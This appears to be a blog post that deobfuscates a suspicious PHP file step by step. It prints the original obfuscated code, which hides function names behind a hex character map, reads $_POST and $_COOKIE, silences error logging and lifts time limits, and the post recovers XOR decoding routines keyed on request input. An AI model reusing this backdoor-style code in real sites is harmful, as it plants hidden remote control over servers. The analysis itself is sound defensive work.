&lt;?php $GLOBALS[&#39;v5fd1710b&#39;] = &quot;x34x30xax33x6fx52x5ex71x2ax24x66x3ex78x50x2dx4bx2cx6bx35x5bx5dx7ax58x9x47x69x41x45x21x56x68x7dx7bx36x76x73x6ax7cx6ex6cx64x26x43x5ax48x3ax25x6dx40x23x60x70x4ex7ex4ax3cx72x44xdx4fx62x74x20x28x46x63x5cx65x4cx31x54x32x3fx67x3dx75x49x22x42x61x51x57x5fx27x38x2ex59x53x2bx37x39x4dx29x2fx79x55x3bx77&quot;;
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][79]] = $GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][30].$GLOBALS[&#39;v5fd1710b&#39;][56];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][89].$GLOBALS[&#39;v5fd1710b&#39;][10]] = $GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][40];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][73].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][3].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][18]] = $GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][67];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][12].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][40]] = $GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][61].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][38];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][47].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][3].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][79]] = $GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][40];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65]] = $GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][61];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][89]] = $GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][21].$GLOBALS[&#39;v5fd1710b&#39;][67];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][7].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][67]] = $GLOBALS[&#39;v5fd1710b&#39;][51].$GLOBALS[&#39;v5fd1710b&#39;][30].$GLOBALS[&#39;v5fd1710b&#39;][51].$GLOBALS[&#39;v5fd1710b&#39;][34].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][38];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][89]] = $GLOBALS[&#39;v5fd1710b&#39;][75].$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][21].$GLOBALS[&#39;v5fd1710b&#39;][67];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][61].$GLOBALS[&#39;v5fd1710b&#39;][3].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][1]] = $GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][67];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][84]] = $GLOBALS[&#39;v5fd1710b&#39;][35].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][61].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][61].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][47].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][47].$GLOBALS[&#39;v5fd1710b&#39;][25].$GLOBALS[&#39;v5fd1710b&#39;][61];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][36].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][65]] = $GLOBALS[&#39;v5fd1710b&#39;][75].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][3];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][51].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][60]] = $GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][89].$GLOBALS[&#39;v5fd1710b&#39;][89].$GLOBALS[&#39;v5fd1710b&#39;][40].$GLOBALS[&#39;v5fd1710b&#39;][69].$GLOBALS[&#39;v5fd1710b&#39;][90];
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79]] = $_POST;
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][60]] = $_COOKIE;
@$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65]]($GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][73], NULL);
@$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65]]($GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][73].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][35], 0);</pre>
<p>On analysing this file I Initially&nbsp;thought the first line was a bootstrap code sequence but it quickly became obvious it was a character mapping array,&nbsp;mapping the hex coding to ASCII characters as shown below using a simple decoder.</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
&lt;?php $GLOBALS[&#39;v5fd1710b&#39;] = &quot;x34x30xax33x6fx52x5ex71x2ax24x66x3ex78x50x2dx4bx2cx6bx35x5bx5dx7ax58x9x47x69x41x45x21x56x68x7dx7bx36x76x73x6ax7cx6ex6cx64x26x43x5ax48x3ax25x6dx40x23x60x70x4ex7ex4ax3cx72x44xdx4fx62x74x20x28x46x63x5cx65x4cx31x54x32x3fx67x3dx75x49x22x42x61x51x57x5fx27x38x2ex59x53x2bx37x39x4dx29x2fx79x55x3bx77&quot;;
</pre>
<p>The character set it translated to becomes:</p>
<p>403oR^q*$f&gt;xP-K,k5[]zXGiAE!Vh}{6vsj|nld&amp;CZH:%m@#`pN~J&lt;rDObt (FceL1T2?g=uI&quot;BaQW_&#39;8.YS+79M)/yU;w</p>
<p>The first thing I did was rename &#39;v5fd1710b&#39; to &#39;MAP&#39;, this made the particular array easy to spot and reduced the code. Then I set about reversing the variable encoding back to clearer text and see what is actually being set.</p>
<p>This became obvious when I echoed out the assignment lines one at a time:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
$GLOBALS[$GLOBALS[&#39;MAP&#39;][&#39;n&#39;].$GLOBALS[&#39;MAP&#39;][&#39;a&#39;].$GLOBALS[&#39;MAP&#39;][&#39;f&#39;].$GLOBALS[&#39;MAP&#39;][1].$GLOBALS[&#39;MAP&#39;][&#39;5&#39;].$GLOBALS[&#39;MAP&#39;][&#39;8&#39;].$GLOBALS[&#39;MAP&#39;][&#39;a&#39;]] = &#39;chr&#39;;
$a1 = $GLOBALS[$GLOBALS[&#39;MAP&#39;][&#39;n&#39;].$GLOBALS[&#39;MAP&#39;][&#39;a&#39;].$GLOBALS[&#39;MAP&#39;][&#39;f&#39;].$GLOBALS[&#39;MAP&#39;][1].$GLOBALS[&#39;MAP&#39;][&#39;5&#39;].$GLOBALS[&#39;MAP&#39;][&#39;8&#39;].$GLOBALS[&#39;MAP&#39;][&#39;a&#39;]];
var_dump( $a1 );

$GLOBALS[$GLOBALS[&#39;MAP&#39;][&#39;c&#39;].$GLOBALS[&#39;MAP&#39;][&#39;9&#39;].$GLOBALS[&#39;MAP&#39;][&#39;7&#39;].$GLOBALS[&#39;MAP&#39;][&#39;f&#39;]] = &#39;ord&#39;;
$a2=$GLOBALS[$GLOBALS[&#39;MAP&#39;][&#39;c&#39;].$GLOBALS[&#39;MAP&#39;][&#39;9&#39;].$GLOBALS[&#39;MAP&#39;][&#39;7&#39;].$GLOBALS[&#39;MAP&#39;][&#39;f&#39;]];
var_dump( $a2 );

$GLOBALS[$GLOBALS[&#39;MAP&#39;][73].$GLOBALS[&#39;MAP&#39;][0].$GLOBALS[&#39;MAP&#39;][&#39;c&#39;].$GLOBALS[&#39;MAP&#39;][&#39;f&#39;].$GLOBALS[&#39;MAP&#39;][&#39;d&#39;].$GLOBALS[&#39;MAP&#39;][3].$GLOBALS[&#39;MAP&#39;][&#39;1&#39;].$GLOBALS[&#39;MAP&#39;][&#39;a&#39;].$GLOBALS[&#39;MAP&#39;][&#39;5&#39;]] = &#39;define&#39;;
$a3=$GLOBALS[$GLOBALS[&#39;MAP&#39;][73].$GLOBALS[&#39;MAP&#39;][0].$GLOBALS[&#39;MAP&#39;][&#39;c&#39;].$GLOBALS[&#39;MAP&#39;][&#39;f&#39;].$GLOBALS[&#39;MAP&#39;][&#39;d&#39;].$GLOBALS[&#39;MAP&#39;][3].$GLOBALS[&#39;MAP&#39;][&#39;1&#39;].$GLOBALS[&#39;MAP&#39;][&#39;a&#39;].$GLOBALS[&#39;MAP&#39;][&#39;5&#39;]];
var_dump( $a3  );
</pre>
<p>The resulting text output from the first dozen lines gives:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
string(98) &quot;40
Obt (FceL1T2?g=uI&quot;BaQW_&#39;8.YS+79M)/yU;w&quot;d&amp;CZH:%m@#`pN~J&lt;rD
string(3) &quot;chr&quot;
string(3) &quot;ord&quot;
string(6) &quot;define&quot;
string(6) &quot;strlen&quot;
string(7) &quot;defined&quot;
string(7) &quot;ini_set&quot;
string(9) &quot;serialize&quot;
string(10) &quot;phpversion&quot;
string(11) &quot;unserialize&quot;
string(13) &quot;base64_decode&quot;
string(14) &quot;set_time_limit&quot;
string(5) &quot;ub083&quot;
string(8) &quot;n5a77d19&quot;
</pre>
<p>This indicates the code assigns program keywords to global variables which can be executed. Another way to dump the variable assignments is to use:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
print_r( $GLOBALS );</pre>
<p>Follow this with a return 0; to prevent the rest of the code executing and it becomes obvious what some of the variable names are and what is assigned to them, so the print_r output yielded the following:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
    [GLOBALS] =&gt; Array
 *RECURSION*
    [v5fd1710b] =&gt; 40
Obt (FceL1T2?g=uI&quot;BaQW_&#39;8.YS+79M)/yU;wld&amp;CZH:%m@#`pN~J&lt;rD
    [naf058a] =&gt; chr
    [c97f] =&gt; ord
    [g4cfd31a5] =&gt; define
    [x8e08429d] =&gt; strlen
    [m11d3ee2a] =&gt; defined
    [ea6c] =&gt; ini_set
    [a52f7] =&gt; serialize
    [qb4e] =&gt; phpversion
    [n627] =&gt; unserialize
    [t38a0] =&gt; base64_decode
    [r51b18] =&gt; set_time_limit
    [j1001fc] =&gt; ub083
    [pe5fb] =&gt; n5a77d19
    [rb2ea] =&gt; Array
        (
        )

    [o6cb] =&gt; Array
        (
        )

    [b5e6d8f3] =&gt; 
    [n820] =&gt; 
    [t6342e1] =&gt; 47f8267d-d339-412c-bed5-792d751bb922
)
</pre>
<p>Then next bit of analysis was to look at&nbsp;the two Arrays &quot;$rb2ea&quot; and &quot;$o6cb&quot; as well as any&nbsp;function calls and function definitions, the later is easy as the &quot;function&quot; keyword must be used. Function calls however can be coded using the @$GLOBALS[] structure and the file has a couple of these:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79]] = $_POST;
$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][60]] = $_COOKIE;
@$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65]]($GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][73], NULL);</pre>
<p>The first line is the last assignment which gets the $_POST variables, the second gets the $_COOKIE variable, this tells me the script is called with parameters so its most likely the malicious code is remote and downloaded as needed. PHP&nbsp;function definitions, like most languages are constructed as follows:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
function NAME ( param, more_params ) { code };</pre>
<p>while the function call just excludes the keyword&nbsp;&quot;function&quot;,&nbsp;So the lines above decode to:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
@$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65]]($GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][82].$GLOBALS[&#39;v5fd1710b&#39;][39].$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][73], NULL);
=
ea6c(error_log, NULL);</pre>
<p>We find&nbsp;4 characters, an opening &quot;(&quot;, some parameters and finally a closing &quot;)&quot; with semi-colon.&nbsp;From the naming of the function its purpose is not immediately obvious, but if we look back at the keywords we decoded earlier, ea6c is in fact &quot;ini_set&quot; so the resultant call is:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
ini_set(error_log,NULL); </pre>
<p>and converting all the ones we find in the file yields the file so far:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
$GLOBALS[&#39;naf058a&#39;] = &#39;chr&#39;;
$GLOBALS[&#39;c97f&#39;] = &#39;ord&#39;;
$GLOBALS[&#39;g4cfd31a5&#39;] = &#39;define&#39;;
$GLOBALS[&#39;x8e08429d&#39;] = &#39;strlen&#39;;
$GLOBALS[&#39;m11d3ee2a&#39;] = &#39;defined&#39;;
$GLOBALS[&#39;ea6c&#39;] = &#39;ini_set&#39;;
$GLOBALS[&#39;a52f7&#39;] = &#39;serialize&#39;;
$GLOBALS[&#39;qb4e&#39;] = &#39;phpversion&#39;;
$GLOBALS[&#39;n627&#39;] = &#39;unserialize&#39;;
$GLOBALS[&#39;t38a0&#39;]= &#39;base64_decode&#39;;
$GLOBALS[&#39;r51b18&#39;] = &#39;set_time_limit&#39;;
$GLOBALS[&#39;j1001fc&#39;] = &#39;ub083&#39;;
$GLOBALS[&#39;pe5fb&#39;] = &#39;n5a77d19&#39;;
$GLOBALS[&#39;rb2ea&#39;] = $_POST;
$GLOBALS[&#39;o6cb&#39;]  = $_COOKIE;
ini_set(&#39;error_log&#39;, NULL);
ini_set(&#39;log_errors&#39;, 0);
ini_set(&#39;max_execution_time&#39;,0);
</pre>
<p>A scan of the remainder of the file yields a few more function calls and then some function definitions as shown next:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
function n5a77d19($b5e6d8f3, $w96a)
{
    $uc7dfb321 = &quot;&quot;;

    for ($l360=0; $l360&lt;$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][12].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][40]]($b5e6d8f3);)
    {
        for ($h9e5=0; $h9e5&lt;$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][12].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][40]]($w96a) &amp;&amp; $l360&lt;$GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][12].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][0].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][40]]($b5e6d8f3); $h9e5++, $l360++)
        {
            $uc7dfb321 .= $GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][38].$GLOBALS[&#39;v5fd1710b&#39;][79].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][1].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][84].$GLOBALS[&#39;v5fd1710b&#39;][79]]($GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][89].$GLOBALS[&#39;v5fd1710b&#39;][10]]($b5e6d8f3[$l360]) ^ $GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][90].$GLOBALS[&#39;v5fd1710b&#39;][89].$GLOBALS[&#39;v5fd1710b&#39;][10]]($w96a[$h9e5]));
        }
    }
    return $uc7dfb321;
}

function ub083($b5e6d8f3, $w96a)
{
    global $t6342e1;

    return $GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][51].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][60]]($GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][51].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][18].$GLOBALS[&#39;v5fd1710b&#39;][10].$GLOBALS[&#39;v5fd1710b&#39;][60]]($b5e6d8f3, $t6342e1), $w96a);
}
</pre>
<p>Pulling the first function apart and substituting the strings from the global variables defined above&nbsp;gives us:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
function n5a77d19($param1, $param2)
{
    $retval = &quot;&quot;;

    for ($l3b=0; $l3b &lt; strlen($param1); )
    {
        for ($h9e5=0; $h9e5a &lt; strlen($param2) &amp;&amp; $l3b &lt; strlen($param1); $h9e5++, $l3b++)
        {
            $retval .= chr(ord($param1[$l3b]) ^ ord($param2[$h9e5]));
        }
    }
    echo &quot;RETURN DATA [ $retval ]n&quot;;
    return $retval;
}</pre>
<p>The function&#39;s two parameters were changed using text substitution, I don&#39;t know yet what the parameters are so &quot;$param1&quot; and &quot;$param2&quot; are safe&nbsp;bets, while the chr() and ord() functions were decoded from our list of global variables earlier.&nbsp;One immediate observation is we have two global variables with the same names as the functions, the code in the function is also not clear so we can use our substitutions above to reverse this back to more legible code.</p>
<p>The second function can now be pulled apart:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
#
#
function ub083($param1, $param2)
{
    global $v1;
    return $GLOBALS[&#39;pe5fb&#39;(&#39;pe5fb&#39;]($param1, $v1), $param2);
}</pre>
<p>&nbsp;</p>
<p>A lookup of our global variables shows:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
$GLOBALS[&#39;pe5fb&#39;] = &#39;n5a77d19&#39;;&quot;</pre>
<p>The globals&nbsp;value &quot;pe5fb&quot; is the name of the previous function so this can be substituted and the parameters match so we have this back to more normal looking code.</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
#
function ub083($param1, $param2)
{
    global $v1;
    return n5a77d19( n5a77d19($param1, $v1), $param2);
}
</pre>
<p>Using substitution again we can decode the foreach loop:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4" style="line-height: 20.7999992370605px;">
foreach ($GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][4].$GLOBALS[&#39;v5fd1710b&#39;][33].$GLOBALS[&#39;v5fd1710b&#39;][65].$GLOBALS[&#39;v5fd1710b&#39;][60]] as $w96a=&gt;$pf64a09f)
{
    $b5e6d8f3 = $pf64a09f;
    $n820 = $w96a;
}</pre>
<p>Which yields:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
foreach ( $_COOKIE as $param2=&gt;$pf64a09f)
{
    $param1 = $pf64a09f;
    $n_0 = $param2;
}</pre>
<p>And the remaining code in the file:</p>
<pre class="prettyprint lang-php " data-pbcklang="php" data-pbcktabsize="4">
if (!$b5e6d8f3)
{
    foreach ($GLOBALS[$GLOBALS[&#39;v5fd1710b&#39;][56].$GLOBALS[&#39;v5fd1710b&#39;][60].$GLOBALS[&#39;v5fd1710b&#39;][71].$GLOBALS[&#39;v5fd1710b&#39;][67].$GLOBALS[&#39;v5fd1710b&#39;][79]] as $w96a=&gt;$pf64a09f)^M
    {
        $b5e6d8f3 = $pf64a09f;
        $n820 = $w96a;
    }
}

